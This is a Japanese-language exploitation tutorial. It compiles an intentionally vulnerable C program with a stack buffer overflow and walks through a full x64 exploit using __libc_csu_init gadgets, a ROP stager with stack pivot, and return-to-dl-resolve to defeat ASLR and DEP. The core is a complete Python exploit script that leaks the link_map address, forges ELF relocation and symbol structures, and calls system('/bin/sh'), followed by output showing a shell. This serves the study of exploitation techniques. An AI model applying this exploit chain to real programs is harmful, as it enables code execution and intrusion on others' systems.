x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる

x64環境においてROPを行うには複数レジスタをセットする必要があるが、glibcの__libc_csu_init関数を利用すると任意の3引数関数が呼び出せることが知られている。 ここでは、ROP stager + Return-to-resolveに加えてこれを利用することで、ASLR+DEPが有効な条件下でlibcバイナリに依存しない形でのシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

__libc_csu_initを使ったレジスタセットおよび関数呼び出し

コンパイルした実行ファイルをディスアセンブルすると、__libc_csu_init関数の中に次のようなコードが存在することがわかる。

$ objdump -d a.out
00000000004005a0 <__libc_csu_init>:
  ...
  4005f0:       4c 89 fa                mov    rdx,r15
  4005f3:       4c 89 f6                mov    rsi,r14
  4005f6:       44 89 ef                mov    edi,r13d
  4005f9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  4005fd:       48 83 c3 01             add    rbx,0x1
  400601:       48 39 eb                cmp    rbx,rbp
  400604:       75 ea                   jne    4005f0 <__libc_csu_init+0x50>
  400606:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
  40060b:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
  400610:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  400615:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  40061a:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  40061f:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400624:       48 83 c4 38             add    rsp,0x38
  400628:       c3                      ret

x64環境では関数を呼び出す前に引数をレジスタにセットする必要がある。 そこで、上のコードを利用すると、次のようにして任意の3引数関数を繰り返し呼ぶことができる。

  1. 0x400606にreturnして、スタックからrbx、rbp、r12、r13、r14、r15の各レジスタに値をセットする
  2. 続けて0x4005f0にreturnして、r13d、r14、r15レジスタの値をedi、rsi、rdxレジスタに移した上で、r12+rbx*8に置かれているアドレスを関数としてcallする
  3. rbp == rbx+1となるようにレジスタを調整しておくことで、jne命令によるジャンプを通過する
  4. 再び0x400606にたどりつくので、スタックから各レジスタに値をセットした上で2に戻る

ここで、rbxレジスタにセットする値として0を選べば、call命令はcall [r12]とできる。 すなわち、rbx == 0rbp == 1とした上で、r12レジスタに関数のアドレスが入っているアドレス(ポインタ)、r13 (=edi)、r14 (=rsi)、r15 (=rdx) レジスタに関数の引数をセットすることで、任意の3引数関数を呼ぶことができる。 特に、r12レジスタにセットするアドレスとしてGOTテーブルを利用すると、PLTにある任意のライブラリ関数を呼び出すことができる。 なお、このgadgetではrdxレジスタまでしかセットできないため、sendやrecvなど4引数以上の関数を呼び出したい場合には別途rcx、r8、r9レジスタに値をセットしておく必要がある。

__libc_csu_init関数のソースコードは次のようになっている。

void
__libc_csu_init (int argc, char **argv, char **envp)
{
  /* For dynamically linked executables the preinit array is executed by
     the dynamic linker (before initializing any shared object).  */

#ifndef LIBC_NONSHARED
  (snip)
#endif

  _init ();

  const size_t size = __init_array_end - __init_array_start;
  for (size_t i = 0; i < size; i++)
      (*__init_array_start [i]) (argc, argv, envp);
}

ディスアセンブル結果と比べてみると、__init_array_start[i]を呼ぶ箇所の前後で対応するレジスタの操作が行われていることがわかる。

エクスプロイトコードを書いてみる

最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

上で出力した情報をもとに、__libc_csu_init gadgetsを利用したエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400420     # readelf -S a.out
addr_got = 0x0000000000600fe8     # readelf -S a.out
addr_bss = 0x0000000000601028     # readelf -S a.out
addr_got_read = 0x601008          # objdump -d -j.plt a.out
addr_got_write = 0x601000         # objdump -d -j.plt a.out

addr_set_regs = 0x400606          # pop junk/rbx/rbp/r12/r13/r14/r15; ret
addr_call_r12 = 0x4005f0          # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8];
                                  # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs
addr_leave_ret = 0x400595         # leave; ret
addr_ret = 0x400596               # ret

stacksize = 0x800
base_stage = addr_bss + stacksize

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_set_regs)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0)               # rbx == 0
buf1 += struct.pack('<Q', 1)               # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_write)  # r12 -> call [r12]
buf1 += struct.pack('<Q', 1)               # r13 -> edi
buf1 += struct.pack('<Q', addr_got+8)      # r14 -> rsi
buf1 += struct.pack('<Q', 8)               # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += struct.pack('<Q', 0)               # rbx == 0
buf1 += struct.pack('<Q', 1)               # rbp == rbx+1
buf1 += struct.pack('<Q', addr_got_read)   # r12 -> call [r12]
buf1 += struct.pack('<Q', 0)               # r13 -> edi
buf1 += struct.pack('<Q', base_stage)      # r14 -> rsi
buf1 += struct.pack('<Q', 400)             # r15 -> rdx
buf1 += struct.pack('<Q', addr_call_r12)
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'                         # rbx
buf1 += struct.pack('<Q', base_stage)      # rbp
buf1 += 'AAAAAAAA'                         # r12
buf1 += 'AAAAAAAA'                         # r13
buf1 += 'AAAAAAAA'                         # r14
buf1 += 'AAAAAAAA'                         # r15
buf1 += struct.pack('<Q', addr_leave_ret)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_link_map = %x" % addr_link_map
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 8*28
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_set_regs)
buf2 += 'AAAAAAAA'
buf2 += struct.pack('<Q', 0)                  # rbx == 0
buf2 += struct.pack('<Q', 1)                  # rbp == rbx+1
buf2 += struct.pack('<Q', addr_got_read)      # r12 -> call [r12]
buf2 += struct.pack('<Q', 0)                  # r13 -> edi
buf2 += struct.pack('<Q', addr_dt_versym)     # r14 -> rsi
buf2 += struct.pack('<Q', 8)                  # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += struct.pack('<Q', addr_ret)           # [r12]
buf2 += struct.pack('<Q', 0)                  # rbx == 0
buf2 += struct.pack('<Q', 1)                  # rbp == rbx+1
buf2 += struct.pack('<Q', base_stage + 8*10)  # r12 -> call [r12]
buf2 += struct.pack('<Q', addr_cmd)           # r13 -> edi
buf2 += 'AAAAAAAA'                            # r14 -> rsi
buf2 += 'AAAAAAAA'                            # r15 -> rdx
buf2 += struct.pack('<Q', addr_call_r12)
buf2 += 'A' * 0x38                            # junk/rbx/rbp/r12/r13/r14/r15
buf2 += struct.pack('<Q', addr_plt)
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_got_read)      # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)            # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (400-len(buf2))

p.stdin.write(buf2)
p.stdin.write(struct.pack('<Q', 0))
p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. __libc_csu_init gadgetsを使いwrite関数を呼び出し、GOTセクションにあるlink_map構造体のアドレスを書き出す
  2. さらにread関数を呼び出しデータを読み込んだ後、leave; ret gadgetによりstack pivotを行う
  3. __libc_csu_init gadgetsを使いread関数を呼び出し、x64環境におけるReturn-to-dl-resolveの下準備としてl->l_info[VERSYMIDX (DT_VERSYM)]にNULLをセットする
  4. 適当な引数をセットした上で、Return-to-dl-resolveを行う

引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA(\x18`\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 7f39f26fe2c8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

__libc_csu_init gadgetsにより、ASLRおよびDEPが有効なx64環境で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

関連リンク